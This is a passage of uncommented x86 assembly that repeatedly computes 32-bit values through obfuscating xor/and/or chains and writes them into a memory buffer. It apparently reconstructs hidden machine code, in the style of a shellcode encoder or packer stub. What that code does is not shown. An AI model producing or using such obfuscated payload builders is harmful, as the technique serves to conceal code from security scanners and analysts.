mov dword [ebx], eax
add ebx, edx
xor eax, 0x41450ef9
and eax, 0xbe808031
or eax, 0x40040d0a
mov dword [ebx], eax
add ebx, edx
and eax, 0x52b16b5a
or eax, 0x15e154c9
and eax, 0x605ddb
or eax, 0x81ca224
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2185dc56
and eax, 0x29d00189
or eax, 0x12045402
mov dword [ebx], eax
add ebx, edx
or eax, 0x108a410f
xor eax, 0x2f818e77
and eax, 0x5dd850
or eax, 0x9200005
mov dword [ebx], eax
add ebx, edx
and eax, 0x4b601cf3
and eax, 0x1600001
or eax, 0x8298458a
mov dword [ebx], eax
add ebx, edx
and eax, 0x46194b97
xor eax, 0x3861f40e
and eax, 0x90188
or eax, 0x45800060
mov dword [ebx], eax
add ebx, edx
or eax, 0x41438b96
and eax, 0x414389f8
or eax, 0xba206000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x577d616
and eax, 0x34a289e7
and eax, 0x9e6
or eax, 0x2b8f619
mov dword [ebx], eax
add ebx, edx
or eax, 0x7fbbc82d
and eax, 0x69000000
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2a3af9de
and eax, 0x1888
or eax, 0x201
mov dword [ebx], eax
add ebx, edx
and eax, 0x2eb772e3
xor eax, 0x43bb97d2
and eax, 0x3800503
or eax, 0x80444888
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4d683075
and eax, 0x33b94021
and eax, 0x880020
or eax, 0x4d0101c9
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7fa939e
or eax, 0x72b7aa97
and eax, 0x40558ac4
or eax, 0x80000100
mov dword [ebx], eax
add ebx, edx
or eax, 0x63118bd3
or eax, 0x3cc591fe
and eax, 0x89018283
or eax, 0x4000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6adf61e5
and eax, 0xa20e8044
or eax, 0x14014011
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2be83d78
and eax, 0x8085a905
or eax, 0x40000040
mov dword [ebx], eax
add ebx, edx
and eax, 0x6d5cea31
and eax, 0x3e108f26
and eax, 0x800
or eax, 0xb60f1774
mov dword [ebx], eax
add ebx, edx
or eax, 0x1336bbc4
or eax, 0x1f51195b
and eax, 0x8905ab4d
or eax, 0x40800000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x443e7317
and eax, 0x45b049c4
and eax, 0x4000040
or eax, 0xb20f1734
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f09554d
or eax, 0x708d64ed
and eax, 0x52852045
or eax, 0x80008a10
mov dword [ebx], eax
add ebx, edx
and eax, 0x76dbb5d1
and eax, 0x5659b169
and eax, 0x2000041
or eax, 0xa4e80f34
mov dword [ebx], eax
add ebx, edx
and eax, 0x9c2ed1b
and eax, 0x110
or eax, 0xb800028e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29c2d9a3
and eax, 0x65977ec5
and eax, 4
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x65928927
and eax, 0x120021
or eax, 0x850c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f591349
xor eax, 0x1e565db2
and eax, 0x14440900
or eax, 0xc0018200
mov dword [ebx], eax
add ebx, edx
and eax, 0x16133f22
and eax, 0x800
or eax, 0xb22005
mov dword [ebx], eax
add ebx, edx
and eax, 0x35a91649
and eax, 0
or eax, 0xd4458900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75debbf3
and eax, 0x1980083
or eax, 0x2404d08
mov dword [ebx], eax
add ebx, edx
or eax, 0x69627472
and eax, 0x6ff06844
and eax, 0x49804040
or eax, 0x409940d
mov dword [ebx], eax
add ebx, edx
or eax, 0x294930e1
and eax, 0x909e0c8
or eax, 0x82000b10
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b6a1a97
xor eax, 0x613c42e4
and eax, 0x42004854
or eax, 0x80839001
mov dword [ebx], eax
add ebx, edx
and eax, 0x5e881f23
and eax, 0x40000801
or eax, 0x98558100
mov dword [ebx], eax
add ebx, edx
and eax, 0x17d8dee1
and eax, 0x19d9bcd
and eax, 0x100001
or eax, 0x3bc8458a
mov dword [ebx], eax
add ebx, edx
and eax, 0x30cafc1b
or eax, 0x3cd5153a
and eax, 0xc0d4001
or eax, 0x81028044
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f02477d
and eax, 0x43d
or eax, 0x80
mov dword [ebx], eax
add ebx, edx
or eax, 0x57d1bc50
xor eax, 0x6534c056
and eax, 0x32a04c8b
or eax, 0x9180100
mov dword [ebx], eax
add ebx, edx
or eax, 0xf77b488
or eax, 0x7f7a0
and eax, 0x2c7cf809
or eax, 0x44
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4eb9311c
xor eax, 0x1a4d9ed3
and eax, 0x28805582
or eax, 0x3500009
mov dword [ebx], eax
add ebx, edx
or eax, 0x59cce2e5
xor eax, 0x5a7f61ed
and eax, 0x1819400
or eax, 0x94086055
mov dword [ebx], eax
add ebx, edx
xor eax, 0x20bfe171
and eax, 0x75d828fe
and eax, 0x35100000
or eax, 0xcaeffe80
mov dword [ebx], eax
add ebx, edx
or eax, 0x72726820
xor eax, 0x51e2be3e
and eax, 0x8800408a
or eax, 0x1e00501
mov dword [ebx], eax
add ebx, edx
or eax, 0x39e54f84
or eax, 0x338cd2dd
and eax, 0xbbec5c85
or eax, 0x44122000
mov dword [ebx], eax
add ebx, edx
or eax, 0x27156e17
xor eax, 0x58b300af
and eax, 0x804c0a38
or eax, 0x500181c7
mov dword [ebx], eax
add ebx, edx
or eax, 0x628c63f3
and eax, 0x840ec35
and eax, 0xe801
or eax, 0x89010182
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1aededee
and eax, 0x711be328
and eax, 0x11080008
or eax, 0x8483d045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78d33b72
and eax, 0xed58ea00
or eax, 0x12a71480
mov dword [ebx], eax
add ebx, edx
and eax, 0x28ae99f8
and eax, 0x12e80cf6
and eax, 0x280000
or eax, 0xfe54953b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x368c29de
xor eax, 0x34199f4e
and eax, 0x306923ab
or eax, 0x114dc54
mov dword [ebx], eax
add ebx, edx
xor eax, 0x338ee97e
and eax, 0x2f00481
or eax, 0x908410a
mov dword [ebx], eax
add ebx, edx
or eax, 0x2b0a4b92
and eax, 0x700c01
or eax, 0x1404b044
mov dword [ebx], eax
add ebx, edx
or eax, 0x41f85ca8
and eax, 0x1e84c89
or eax, 0x82000102
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f67e472
or eax, 0x44154db2
and eax, 0x4c8901e9
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6801640b
and eax, 0x680101e8
or eax, 0x80548a00
mov dword [ebx], eax
add ebx, edx
or eax, 0x32b8cef4
and eax, 0x3ac44500
or eax, 0x1001003
mov dword [ebx], eax
add ebx, edx
or eax, 0x640b4d8c
and eax, 0x12190310
and eax, 0x80000
or eax, 0xc74f455
mov dword [ebx], eax
add ebx, edx
xor eax, 0x938a49
and eax, 0xcc84408
or eax, 0x3000183
mov dword [ebx], eax
add ebx, edx
xor eax, 0x31179acc
and eax, 0x3acc4507
or eax, 0x10000a8
mov dword [ebx], eax
add ebx, edx
or eax, 0x67092d69
or eax, 0x4b5c3705
and eax, 0x95d3045
or eax, 0x208000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f66e5d3
and eax, 0x2084582
or eax, 0x81a40809
mov dword [ebx], eax
add ebx, edx
or eax, 0x7aff9c04
and eax, 0x49890181
or eax, 0x4000040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26511d68
and eax, 0x285008a8
or eax, 0x90058304
mov dword [ebx], eax
add ebx, edx
and eax, 0x457b5269
xor eax, 0x68ec35de
and eax, 0x8012282
or eax, 0x8100c801
mov dword [ebx], eax
add ebx, edx
or eax, 0xf7e8cf1
and eax, 0xfe535d
and eax, 0xa0051
or eax, 0x4581b804
mov dword [ebx], eax
add ebx, edx
xor eax, 0x28b02d6d
and eax, 0x7f48ce33
and eax, 0x60000020
or eax, 0x804503c4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32868082
and eax, 0x142c5352
and eax, 0x10000100
or eax, 0xee788489
mov dword [ebx], eax
add ebx, edx
or eax, 0x5826008f
and eax, 0x6d6eea7f
and eax, 0x4c0a800f
or eax, 0x1817ff0
mov dword [ebx], eax
add ebx, edx
or eax, 0x7724db69
and eax, 0x748d89fc
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x7374c362
and eax, 0x7f43930e
and eax, 0x341830e
or eax, 0x88be7cf0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1497dd99
and eax, 0x82002045
or eax, 0x4083c410
mov dword [ebx], eax
add ebx, edx
or eax, 0x579898a9
and eax, 0xc4118801
or eax, 0x20440100
mov dword [ebx], eax
add ebx, edx
and eax, 0x600f02bb
xor eax, 0x5d6b8968
and eax, 0x3c688109
or eax, 0xc2100482
mov dword [ebx], eax
add ebx, edx
or eax, 0x2efd6a6f
xor eax, 0x46246f25
and eax, 0x801980ca
or eax, 0x5227f35
mov dword [ebx], eax
add ebx, edx
or eax, 0x7366a76d
and eax, 0xf77ffe74
or eax, 0x8800000
mov dword [ebx], eax
add ebx, edx
and eax, 0x629c04c3
and eax, 0x2000400
or eax, 0x62890f
mov dword [ebx], eax
add ebx, edx
or eax, 0x2410e393
and eax, 0x4020000
or eax, 0x49890000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6388507c
or eax, 0x5b28211
and eax, 0x2001127c
or eax, 0xd04c2180
mov dword [ebx], eax
add ebx, edx
xor eax, 0xbb89
and eax, 0x448005
or eax, 0x212040a
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ddbb338
and eax, 0x20000
or eax, 0x55890000
mov dword [ebx], eax
add ebx, edx
and eax, 0x23a1ee0d
and eax, 0x1800000
or eax, 0x6a83f8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11fca13c
and eax, 0x100080
or eax, 0x8be85509
mov dword [ebx], eax
add ebx, edx
and eax, 0x59ba2f19
and eax, 0x1380001
or eax, 0x4403f844
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ae61e72
and eax, 0x18d0624
or eax, 0x400009c8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4c68e49d
and eax, 0x9000000
or eax, 0x82000002
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f820086
and eax, 0x6ac774f2
and eax, 0x8000000
or eax, 0x8589d44d
mov dword [ebx], eax
add ebx, edx
or eax, 0x5e439691
xor eax, 0x11097232
and eax, 0xcec2a460
or eax, 0x313d5a10
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a5d5737
and eax, 0x8185400
or eax, 0x81a0018b
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b86816b
and eax, 0x9800001
or eax, 0xf67e6c94
mov dword [ebx], eax
add ebx, edx
or eax, 0x4aa20716
and eax, 0xd4440b97
or eax, 0x18068
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3b727ff9
xor eax, 0x220f16f8
and eax, 0x8900e082
or eax, 0x10801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x76129d1e
and eax, 0x8d035405
or eax, 0x888040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3ee7f120
and eax, 0x230fe836
and eax, 0x230c2020
or eax, 0xdcf3de50
mov dword [ebx], eax
add ebx, edx
and eax, 0x58b36837
or eax, 0x22bf467e
and eax, 0x7a2c0c3a
or eax, 0x84408101
mov dword [ebx], eax
add ebx, edx
xor eax, 0x167e6dd7
and eax, 0x8802e0ec
or eax, 0x50d1f13
mov dword [ebx], eax
add ebx, edx
or eax, 0x6fd034d9
or eax, 0x342bbc68
and eax, 0x214
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f13be3e
and eax, 0
or eax, 0x3bcc558b
mov dword [ebx], eax
add ebx, edx
and eax, 0x7521ddf6
and eax, 0x4400
or eax, 0xc7d8055
mov dword [ebx], eax
add ebx, edx
and eax, 0x74c85225
and eax, 0x4480005
or eax, 0xfb3485c2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x74e7d8ca
and eax, 0x2f79c079
and eax, 0x14009
or eax, 0xbff6
mov dword [ebx], eax
add ebx, edx
or eax, 0x61f71276
or eax, 0x39a62f0
and eax, 0x2eb0000
or eax, 0x8000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3a5fd26
or eax, 0x78cd3ca4
and eax, 0x7b6c8586
or eax, 0x84100041
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a044c47
xor eax, 0x210f3ac8
and eax, 0xf70f
or eax, 0x8f0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x49a62045
or eax, 0x434989b6
and eax, 0x418b0000
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ccdb2fc
and eax, 0x580432fc
or eax, 0x24810100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6ef7569d
and eax, 0x2726561
or eax, 0xd8d9a9e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a586474
or eax, 0x1bbae457
and eax, 0x1e784
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x766803b7
and eax, 0x300
or eax, 0xec4d8800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39e0027f
and eax, 0x2904d4b6
and eax, 0x8000
or eax, 0xfe680d89
mov dword [ebx], eax
add ebx, edx
and eax, 0x5c489bb4
and eax, 0x1a985b3
and eax, 0x88180
or eax, 0x55837e7f
mov dword [ebx], eax
add ebx, edx
and eax, 0x32e4dfc9
and eax, 0x808980
or eax, 0x64150034
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c240999
and eax, 0x8b589bc
or eax, 0x834a7642
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ce12e79
and eax, 0xc0029005
or eax, 0x28812440
mov dword [ebx], eax
add ebx, edx
or eax, 0xf8d2fe2
and eax, 0xa4058901
or eax, 0x10400000
mov dword [ebx], eax
add ebx, edx
and eax, 0x19b3a016
and eax, 0
or eax, 0x83ec4d8b
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d11a187
and eax, 0xd890189
or eax, 0x40000060
mov dword [ebx], eax
add ebx, edx
and eax, 0x7bf39017
and eax, 0x48810000
or eax, 0x20148bec
mov dword [ebx], eax
add ebx, edx
xor eax, 0x58aa80c0
and eax, 0x303f0b2c
or eax, 0xbc0f4d2
mov dword [ebx], eax
add ebx, edx
or eax, 0x380611f6
and eax, 0x60d754a8
and eax, 0x20d64480
or eax, 0xdf282015
mov dword [ebx], eax
add ebx, edx
or eax, 0x57a2f643
xor eax, 0x6bc321fd
and eax, 0x900d072a
or eax, 0x218008d5
mov dword [ebx], eax
add ebx, edx
and eax, 0x6da951b9
and eax, 0x1000001
or eax, 0x8a000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x284d2bb8
and eax, 0x1012801
or eax, 0x4422d044
mov dword [ebx], eax
add ebx, edx
or eax, 0x164341b8
and eax, 0x444139dc
or eax, 0xa0040200
mov dword [ebx], eax
add ebx, edx
and eax, 0x179bb200
and eax, 0
or eax, 0x1a28d0f
mov dword [ebx], eax
add ebx, edx
or eax, 0x4cd79b68
and eax, 0x4d830000
or eax, 0x80000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ea7da23
and eax, 0x10000
or eax, 0xb04c3bb8
mov dword [ebx], eax
add ebx, edx
or eax, 0x7d8860a8
or eax, 0x3301651b
and eax, 0x55892939
or eax, 0x20044
mov dword [ebx], eax
add ebx, edx
and eax, 0x281f5e6a
and eax, 0x2200675a
and eax, 0x40
or eax, 0x609589b0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f14ae42
xor eax, 0x198427af
and eax, 0x211885c
or eax, 0x89ee77a2
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b807640
and eax, 0x8189fc44
or eax, 0x4000001
mov dword [ebx], eax
add ebx, edx
or eax, 0x180602d8
or eax, 0x7c25c2bf
and eax, 0xfdaffe5c
or eax, 0x2500000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ad38208
and eax, 0x2d00008
or eax, 0x812c4d83
mov dword [ebx], eax
add ebx, edx
and eax, 0x65abbe0f
or eax, 0x14912b73
and eax, 0x5890169
or eax, 0x48000080
mov dword [ebx], eax
add ebx, edx
and eax, 0x50aeb9e9
and eax, 0x408001e8
or eax, 0x20158a14
mov dword [ebx], eax
add ebx, edx
and eax, 0x559b8b42
and eax, 0x918b40
or eax, 0x3b6e74be
mov dword [ebx], eax
add ebx, edx
and eax, 0x40f926ff
and eax, 0xf80494
or eax, 0xff065801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4cc83749
or eax, 0x1fc855be
and eax, 0x8b0c7cfe
or eax, 1
mov dword [ebx], eax
add ebx, edx
or eax, 0x6077739b
and eax, 0x413b2c45
or eax, 0x4008000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a0a665
and eax, 0x5000444
or eax, 0x608d0b90
mov dword [ebx], eax
add ebx, edx
or eax, 0x759dea3c
and eax, 0x1000000
or eax, 0x8a000001
mov dword [ebx], eax
add ebx, edx
or eax, 0xb41c4bf
xor eax, 0x152c2420
and eax, 0xc29c00d
or eax, 0x41121c40
mov dword [ebx], eax
add ebx, edx
and eax, 0x54862602
and eax, 0x40000400
or eax, 0x198d0bd4
mov dword [ebx], eax
add ebx, edx
or eax, 0xfbbe89
or eax, 0x3eb794a9
and eax, 0xb000001
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x366bec32
and eax, 0x152be811
or eax, 0x40101044
mov dword [ebx], eax
add ebx, edx
and eax, 0x4cea4365
or eax, 0x56d34ab2
and eax, 0x20848e0
or eax, 0x89043400
mov dword [ebx], eax
add ebx, edx
or eax, 0x22e61d5c
and eax, 0x12a5c44
or eax, 0x44118001
mov dword [ebx], eax
add ebx, edx
and eax, 0x3d7ec10b
and eax, 0x7b3ddc99
and eax, 0x1080000
or eax, 0x44850fac
mov dword [ebx], eax
add ebx, edx
and eax, 0x3efbbe52
and eax, 0
or eax, 0x8b000001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1c231eef
or eax, 0x13d37c7d
and eax, 0x523444d
or eax, 0x48008000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6919dc9c
and eax, 0x808d0
or eax, 0x58858100
mov dword [ebx], eax
add ebx, edx
and eax, 0x26c7040d
and eax, 0x850000
or eax, 0x8b7afffe
mov dword [ebx], eax
add ebx, edx
or eax, 0x4d1caa39
and eax, 0xc283d055
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x22bbf42b
and eax, 0x1d67ca5f
and eax, 0x18001
or eax, 0xd0540900
mov dword [ebx], eax
add ebx, edx
or eax, 0x68433ee7
xor eax, 0x3681d36a
and eax, 0xce502c81
or eax, 0x30089102
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2a92dbc1
and eax, 0x54006642
or eax, 0x200099bd
mov dword [ebx], eax
add ebx, edx
and eax, 0x50546721
or eax, 0xb7b34e4
and eax, 0x10410300
or eax, 0xa4048808
mov dword [ebx], eax
add ebx, edx
and eax, 0x30fa5b66
xor eax, 0x29696d81
and eax, 0x18284401
or eax, 0x6490013a
mov dword [ebx], eax
add ebx, edx
and eax, 0x68eb71b
and eax, 0x4080108
or eax, 0xf8458a04
mov dword [ebx], eax
add ebx, edx
xor eax, 0x799381a1
and eax, 0x5cc0829
or eax, 0xa004512
mov dword [ebx], eax
add ebx, edx
and eax, 0x22162245
and eax, 1
or eax, 0x1138c
mov dword [ebx], eax
add ebx, edx
or eax, 0x3222e48f
and eax, 0x18300
or eax, 0xc8540800
mov dword [ebx], eax
add ebx, edx
or eax, 0x190e9925
xor eax, 0x76d67dc2
and eax, 0x2d884423
or eax, 0x50301118
mov dword [ebx], eax
add ebx, edx
or eax, 0x3575c282
xor eax, 0x2f5c4209
and eax, 0x50818500
or eax, 0x2804420c
mov dword [ebx], eax
add ebx, edx
or eax, 0x31f6aa94
and eax, 0x1f7ef9c
or eax, 0x81063
mov dword [ebx], eax
add ebx, edx
xor eax, 0x45cbc73c
xor eax, 0x53842c26
and eax, 0x3000000
or eax, 0xe8000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x18dc059b
and eax, 0x8000000
or eax, 0x7085c70a
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a7f147a
xor eax, 0x7fc7ba2
and eax, 0x3acd8
or eax, 0xfc5327
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a48dbf3
and eax, 0
or eax, 0x8b000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x133410cf
and eax, 0x1000000
or eax, 0x8423b445
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c4fad3a
and eax, 0xed6fbd78
or eax, 0x12904200
mov dword [ebx], eax
add ebx, edx
or eax, 0x39bd3bca
or eax, 0x29fa2b6e
and eax, 0xfe548588
or eax, 1
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe1b889c
or eax, 0x5cd7b8f0
and eax, 0x4c8bbdf5
or eax, 0x100420a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3656fc7d
or eax, 0x73803282
and eax, 0x1c10380
or eax, 0x8034
mov dword [ebx], eax
add ebx, edx
and eax, 0x26a2708b
and eax, 0x62d482ee
and eax, 0x800080
or eax, 0x83344d09
mov dword [ebx], eax
add ebx, edx
xor eax, 0x36d50e52
and eax, 0xb5604099
or eax, 0x4a9e1424
mov dword [ebx], eax
add ebx, edx
or eax, 0x19c1f3a8
or eax, 0x6c4a4d7c
and eax, 0xf7500fd
or eax, 2
mov dword [ebx], eax
add ebx, edx
or eax, 0x794c9aa2
and eax, 0x34c108b
or eax, 0x804500
mov dword [ebx], eax
add ebx, edx
or eax, 0x3723e1e1
and eax, 0x48b75e8b
and eax, 0x235401
or eax, 0x5518a854
mov dword [ebx], eax
add ebx, edx
and eax, 0x4a3eb0d6
and eax, 0x40080040
or eax, 0x85850fa0
mov dword [ebx], eax
add ebx, edx
or eax, 0x39dc84cf
and eax, 0x89000000
or eax, 0x2000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x615460fd
xor eax, 0x6454a075
and eax, 0x8800c000
or eax, 0x60832845
mov dword [ebx], eax
add ebx, edx
and eax, 0x4904f320
and eax, 0x48008000
or eax, 0xa0450901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x72d080e6
and eax, 0x53747105
and eax, 0x2100101
or eax, 0xda84c8a
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f6894f8
and eax, 0x5e84dab
or eax, 0x80000004
mov dword [ebx], eax
add ebx, edx
and eax, 0x47724309
xor eax, 0x4f937335
and eax, 0x8800208
or eax, 0xa5040dc1
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a4dd74c
xor eax, 0x40892da1
and eax, 0x8b000000
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f475ab8
or eax, 0x424cf90
and eax, 0xe003d810
or eax, 0xa802045
mov dword [ebx], eax
add ebx, edx
and eax, 0x619cad5c
xor eax, 0x1787119d
and eax, 0x70058901
or eax, 0x88500000
mov dword [ebx], eax
add ebx, edx
or eax, 0x469c045e
xor eax, 0x50c7befd
and eax, 0x2a180182
or eax, 0x11e04409
mov dword [ebx], eax
add ebx, edx
or eax, 0x51dc49fb
or eax, 0x7d67d3a7
and eax, 0xd0f9445
or eax, 0x80002000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c15744f
and eax, 0
or eax, 0x98
mov dword [ebx], eax
add ebx, edx
xor eax, 0x360496cf
and eax, 0x2000403
or eax, 0x1c84988
mov dword [ebx], eax
add ebx, edx
and eax, 0x686e3df8
xor eax, 0x23335090
and eax, 0x1091408
or eax, 0x8c80a045
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe398b0b
and eax, 0x83b03e40
or eax, 0x7c4fc010
mov dword [ebx], eax
add ebx, edx
and eax, 0x5fc38ac6
and eax, 0x9c00000
or eax, 0x8024558b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d4f0380
and eax, 0xd4aa4401
or eax, 0x2b540894
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6625cbf8
and eax, 0x8841836d
or eax, 0x40040892
mov dword [ebx], eax
add ebx, edx
and eax, 0x4360e57e
xor eax, 0x4b7876ba
and eax, 0x900e080
or eax, 0x80010803
mov dword [ebx], eax
add ebx, edx
and eax, 0x12d3ec88
and eax, 0x1c800
or eax, 0x8d8a0045
mov dword [ebx], eax
add ebx, edx
and eax, 0x63094b1
and eax, 0x4008000
or eax, 0xfbff7e50
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2a583d6
xor eax, 0x1113c30f
and eax, 0xec488c09
or eax, 0x12040132
mov dword [ebx], eax
add ebx, edx
or eax, 0x286c037e
and eax, 0x5a6c8f7f
or eax, 0x1107080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44833bad
and eax, 0x217213d6
and eax, 0x1400002
or eax, 0x3a845589
mov dword [ebx], eax
add ebx, edx
or eax, 0x6a16cb42
and eax, 0x5354cc41
or eax, 0x282014
mov dword [ebx], eax
add ebx, edx
or eax, 0x738b4eec
and eax, 0x33b04489
or eax, 0x8000102
mov dword [ebx], eax
add ebx, edx
or eax, 0x3204f891
and eax, 0x834b801
or eax, 0x4490044
mov dword [ebx], eax
add ebx, edx
or eax, 0x75873e1f
and eax, 0x7d748447
or eax, 0x82000180
mov dword [ebx], eax
add ebx, edx
xor eax, 0x214a86e8
and eax, 0x32f
or eax, 0x1fcd0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1f531213
and eax, 0x10000
or eax, 0xaea0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2571c914
and eax, 0x600000
or eax, 0xff1485c7
mov dword [ebx], eax
add ebx, edx
or eax, 0x8976748
xor eax, 0x59ed04a6
and eax, 0xe369
or eax, 0x1c96
mov dword [ebx], eax
add ebx, edx
xor eax, 0x423b2758
and eax, 0x400b0000
or eax, 0xd800000
mov dword [ebx], eax
add ebx, edx
and eax, 0x56d41580
and eax, 0x44800000
or eax, 0x300d0bf8
mov dword [ebx], eax
add ebx, edx
and eax, 0x16e39c2e
and eax, 0x14810828
or eax, 0x617ef7d7
mov dword [ebx], eax
add ebx, edx
xor eax, 0x52cd5e1a
and eax, 0x20108120
or eax, 0xd0450a0a
mov dword [ebx], eax
add ebx, edx
or eax, 0x21da6f5e
or eax, 0x6787fc9d
and eax, 0xd455af0f
or eax, 0x8000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x494259bb
xor eax, 0x6b0790ba
and eax, 0x21401131
or eax, 0x5ca0440a
mov dword [ebx], eax
add ebx, edx
or eax, 0x47d4fa91
and eax, 0x64f3d95
and eax, 0x4440901
or eax, 0xf801822e
mov dword [ebx], eax
add ebx, edx
and eax, 0x17f4c11
or eax, 0x3e9f288
and eax, 0x1ac4001
or eax, 0x88100522
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c8ccfaa
xor eax, 0x51891008
and eax, 0xf4b80881
or eax, 0xb464004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x444f8d30
xor eax, 0x7db4d708
and eax, 0xc40502bd
or eax, 0x38488942
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f6e7d5b
and eax, 0x8901e983
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x62ed0ba4
and eax, 0x70ab8a8d
and eax, 0x10800
or eax, 0xbd82f44d
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a7a757b
and eax, 0x30a8196e
and eax, 0x30001048
or eax, 0xcfffee00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29693184
and eax, 0x82104400
or eax, 0x9013000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xdede0f4
xor eax, 0x2400b078
and eax, 0x380004
or eax, 0x5503d051
mov dword [ebx], eax
add ebx, edx
or eax, 0x49bc4214
and eax, 0x9095014
or eax, 0x82002da0
mov dword [ebx], eax
add ebx, edx
or eax, 0x337bfdc5
xor eax, 0x5385d918
and eax, 0xe8822045
or eax, 0x19800
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f13e455
and eax, 0xb8018801
or eax, 0x440100
mov dword [ebx], eax
add ebx, edx
xor eax, 0xf76365f
and eax, 0x1ecdb6bf
and eax, 0x1200040a
or eax, 0x29e84981
mov dword [ebx], eax
add ebx, edx
or eax, 0x32372620
xor eax, 0xfc0e8d
and eax, 0x8006004
or eax, 0x447c8049
mov dword [ebx], eax
add ebx, edx
and eax, 0x1a2121f
or eax, 0x7f20c90d
and eax, 0xf204109
or eax, 0xd81482
mov dword [ebx], eax
add ebx, edx
and eax, 0x3cb82186
and eax, 0x8b00182
or eax, 0x3340542d
mov dword [ebx], eax
add ebx, edx
and eax, 0x46b258fb
and eax, 0x305001
or eax, 0x84d8c54
mov dword [ebx], eax
add ebx, edx
and eax, 0x3d2e4a27
xor eax, 0x7a819b33
and eax, 0x32804102
or eax, 0x9500489
mov dword [ebx], eax
add ebx, edx
or eax, 0x6575b609
and eax, 0x11d1425
and eax, 0x141401
or eax, 0x3868c844
mov dword [ebx], eax
add ebx, edx
or eax, 0x57db30e4
and eax, 0x3bcc4c81
or eax, 0x10a
mov dword [ebx], eax
add ebx, edx
or eax, 0x305af3f6
xor eax, 0x2291b894
and eax, 0x90f4449
or eax, 0x8400a804
mov dword [ebx], eax
add ebx, edx
xor eax, 0x30927a95
and eax, 0x88
or eax, 5
mov dword [ebx], eax
add ebx, edx
and eax, 0x4181b1d7
and eax, 0xb0931cf
and eax, 0x81
or eax, 0x3b0550a
mov dword [ebx], eax
